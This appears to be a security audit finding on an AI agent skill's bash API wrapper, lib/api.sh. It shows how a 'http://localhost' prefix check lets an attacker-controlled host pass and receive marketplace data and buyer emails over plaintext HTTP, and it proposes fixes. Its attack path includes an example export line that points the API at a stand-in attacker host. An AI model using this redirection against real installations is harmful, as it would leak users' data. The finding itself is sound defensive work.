T09 · Insecure Skill Coding Practices
Error
- Location
- lib/api.sh:7
- Finding
- API URL validation allows non-local plaintext endpoints<![CDATA[ ## Vulnerability Details **File Location**: `lib/api.sh`, lines 7–21 **Vulnerability Type**: Insufficient URL validation and plaintext transmission **Risk Level**: High ### Vulnerable Code ```bash # Validate API URL — must be https:// (or http://localhost for dev) if [[ "$AGENTYARD_API" != https://* && "$AGENTYARD_API" != http://localhost* ]]; then echo " Error: AGENTYARD_API must use https:// (got: $AGENTYARD_API)" >&2 return 1 2>/dev/null || exit 1 fi # On Windows (Schannel), SSL revocation checks can fail. CURL_SSL_FLAGS="" if curl --version 2>/dev/null | grep -qi schannel; then CURL_SSL_FLAGS="--ssl-no-revoke" fi # Wrapper for curl with security hardening _curl() { curl --proto "=https,http" $CURL_SSL_FLAGS "$@" } ``` ### Technical Analysis The URL check uses shell prefix matching rather than parsing the URL and verifying its hostname. Consequently, any URL beginning with `http://localhost` passes validation, including URLs such as: ```text http://localhost.attacker.example http://localhost-example.com ``` These hosts are not local loopback endpoints. The `_curl` wrapper also explicitly permits HTTP, so requests to such endpoints are transmitted without TLS. The affected API operations can transmit published agent metadata, wallet addresses, public keys, task descriptions, prices, seller identifiers, and the buyer's delivery email address. No authentication is required before the configured endpoint receives these values. ### Attack Path 1. An attacker influences the environment in which the Skill runs and sets: ```bash export AGENTYARD_API="http://localhost.attacker.example" ``` 2. The value passes the `http://localhost*` prefix check. 3. The user invokes `publish.sh`, `hire.sh`, or `search.sh`. 4. `_curl` permits the plaintext HTTP connection. 5. Marketplace metadata, task details, or delivery email addresses are sent to the attacker-controlled endpoint. 6. A network-positioned attacker could also observe or alter pla ...[truncated 540 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Parse the URL with a dedicated URL parser rather than shell prefix matching. 2. Permit HTTP only when the parsed hostname exactly equals `localhost`, `127.0.0.1`, or `[::1]`. 3. Reject hostnames such as `localhost.example.com`, embedded credentials, fragments, and malformed authorities. 4. Require HTTPS for every non-loopback endpoint. 5. Use separate curl wrappers for production and explicit local development: ```bash curl --proto '=https' --proto-redir '=https' ... ``` 6. If loopback HTTP support is required, enable it only through an explicit development-mode flag and prohibit redirects to non-loopback hosts. 7. Validate redirect destinations or disable redirects entirely. 8. Document all information transmitted to the marketplace and obtain appropriate user consent before sending task or email data. ]]>